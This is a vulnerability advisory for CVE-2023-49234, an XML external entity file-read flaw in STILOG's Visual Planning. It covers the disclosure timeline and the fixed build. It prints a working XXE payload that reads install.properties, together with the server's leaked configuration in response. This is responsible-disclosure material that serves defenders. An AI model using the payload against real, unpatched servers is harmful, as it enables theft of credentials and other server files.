Advisory: Arbitrary File Read via XML External Entities in Visual Planning (CVE-2023-49234)
Release of SCHUTZWERK-SA-2023-006
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Title
=====
SCHUTZWERK-SA-2023-006: Arbitrary File Read via XML External Entities in Visual Planning
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2023-49234
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-006/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-006.txt
Affected products/vendor
========================
All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.
Summary
=======
Authenticated attackers can exploit a weakness in the XML parser functionality of the Visual Planning[0] application in order to obtain read access to arbitrary files on the application server. Depending on configured access permissions, this vulnerability could be used by an attacker to exfiltrate secrets stored on the local file system.
Risk
====
An attacker can use the vulnerability to gather information and depending on the stored data, exfiltrate secrets from the file system. Furthermore, HTTP requests can be used for out-of-bands exfiltration and possibly server side request forgery (SSRF) attacks.
Description
===========
During a recent red teaming assessment, Visual Planning was identified as part of the customers internet-facing assets. The software is developed by STILOG I.S.T. and provides resource management and scheduling features. A security assessment conducted by SCHUTZWERK found an arbitrary file read vulnerability via XML external entities in Visual Planning.
The application Admin Center (vpadmin) communicates with the server through an XML-based protocol that utilizes proprietary compression methods and is transmitted via HTTP. SCHUTZWERK implemented a custom proxy as part of an assessment in order to intercept and manipulate the messages exchanged between application and server.
One of the messages sent by the Admin Center application after authentication is the following:
<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.parameters.GetApplicationProperty>
<defaultValue>
</defaultValue>
<propertyName>PWD</propertyName>
<rawResult>false</rawResult>
<section>INSTALLDATA</section>
<userSession isNull="true"/>
</com.visualplanning.query.parameters.GetApplicationProperty>
The method GetApplicationProperty is called to request the value of the property PWD. The server responds with an XML message, where the value element contains the response of the query:
<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.result.ApplicationPropertyResult>
<resultValues/>
<status>OK</status>
<value>
</value>
</com.visualplanning.query.result.ApplicationPropertyResult>
In this response it was observed that if the requested property value could not be resolved, the content of the request element defaultValue will be reflected as part of the response, making it a suitable back channel for XML external entity (XXE) injections.
The following message was sent to the Visual Planning application:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "C:\xampp2\tomcat\webapps\vplanning\configuration\install.properties"> ]>
<com.visualplanning.query.parameters.GetApplicationProperty>
<defaultValue>&example;</defaultValue>
<propertyName>ShowBackground</propertyName>
<rawResult>false</rawResult>
<section>Application</section>
<userSession isNull="true"/>
</com.visualplanning.query.parameters.GetApplicationProperty>
The server responds with the content of the requested install.properties file inside the value element, thus confirming the XML parser is vulnerable to XML external entity (XXE) injections:
<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.result.ApplicationPropertyResult>
<resultValues/>
<status>OK</status>
<value>#
#Tue Oct 03 15:37:33 CEST 2023
INSTALLDATA.INSTALLSERIAL=
INSTALLDATA.INSTALLURL=http\://127.0.0.1\:8080/vplanning
INSTALLDATA.OK=Next
INSTALLDATA.PAGE=PROVIDER
INSTALLDATA.POOLMODE=1
INSTALLDATA.PORT=3306
INSTALLDATA.PROVIDERTYPE=MySQL
INSTALLDATA.PWD=ENCODE\:
INSTALLDATA.SERVER=127.0.0.1
INSTALLDATA.SERVERLANG=de
INSTALLDATA.USER=root
INSTALLDATA.VIEWERSERIAL=
</value>
</com.visualplanning.query.result.ApplicationPropertyResult>
Further testing showed that out-of-bands exfiltration via HTTPS requests is also generally possible.
Solution/Mitigation
===================
The vendor suggests to update to Visual Planning 8 (Build 240207)
Disclosure timeline
===================
2023-11-01: Vulnerability discovered
2023-11-09: Contact vendor in order to determine security contact
2023-11-10: Received generic sales response from vendor
2023-11-14: Contacted CTO of vendor directly
2023-11-16: Vulnerabilities demonstrated in call with contact at vendor
2023-11-24: CVE assigned by Mitre
2023-11-24: Additional technical details provided to vendor
2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings is in progress
2024-01-30: Inquired about mitigation status regarding the reported vulnerabilities
2024-01-30: Vendor informed SCHUTZWERK that some of the issues were already fixed
2024-03-08: Sent advisory drafts to vendor
2024-03-28: Received patch information and release of advisory
Contact/Credits
===============
The vulnerability was discovered during an assessment by Lennert Preuth and David Brown of SCHUTZWERK GmbH.
References
==========
[0] https://www.visual-planning.com/en/
Disclaimer
==========
The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH's website ( https://www.schutzwerk.com ).
Additional information
======================
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
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